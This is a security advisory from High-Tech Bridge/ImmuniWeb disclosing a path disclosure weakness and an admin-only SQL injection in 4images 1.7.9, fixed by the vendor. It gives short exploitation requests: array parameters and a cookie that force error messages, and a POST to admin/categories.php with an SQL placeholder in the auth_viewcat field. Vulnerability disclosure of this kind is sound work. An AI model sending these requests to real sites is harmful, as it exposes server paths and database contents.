Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Path Disclosure Weakness in 4images

Advisory ID:HTB22949
Product:4images
Vendor:http://www.4homepages.de/
Vulnerable Versions:1.7.9 and probably prior
Tested Version:1.7.9
Advisory Publication:April 7, 2011 [without technical details]
Vendor Notification:April 7, 2011
Public Disclosure:April 21, 2011
Latest Update:April 11, 2011
Vulnerability Type:Information Exposure Through Externally-generated Error Message [CWE-211]
Risk Level:Medium
CVSSv2 Base Score:5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in 4images which could be exploited to disclose potentially sensitive information.

1) Path disclosure weakness in 4images
The weakness is caused by incorrect handling of exceptions in includes/page_header.php and global.php scripts which could be exploited to reveal full path to application`s installation directory.
Exploitation examples:
GET /index.php?action=rateimage&id=1 HTTP/1.1
Cookie: 4images_rated[]=1

http://[host]/index.php?action[]=1

It is also possible for a remote user with administrative privileges to execute arbitrary SQL commands in application`s database via the admin/categories.php script.
Exploitation example:
POST /admin/categories.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
__csrf=53c2e96a96fcba6dc1d9626c846f665b&action=savecat&cat_name=1&cat_d escription=1&cat_paren t_id=0&cat_order=0&auth_viewcat=SQL_CODE_HERE&auth_viewimage=0&auth_download =2&auth_upload=2&auth_di rectupload=9&auth_vote=0&auth_sendpostcard=0&auth_readcomment=0&auth_postcom ment=2

How to Detect Information Exposure Through Externally-generated Error Message Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version

More Information:
http://www.4homepages.de/forum/index.php?topic=29470.0
http://www.4homepages.de/forum/index.php?topic=29469.0
http://www.4homepages.de/forum/index.php?topic=29541.msg157184#msg157184


References:
[1] High-Tech Bridge Advisory HTB22949 - https://www.immuniweb.com/advisory/HTB22949 - Path Disclosure Weakness in 4images
[2] 4images - 4homepages.de - 4images is a PHP and MySQL-based system intended to work with images and media content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential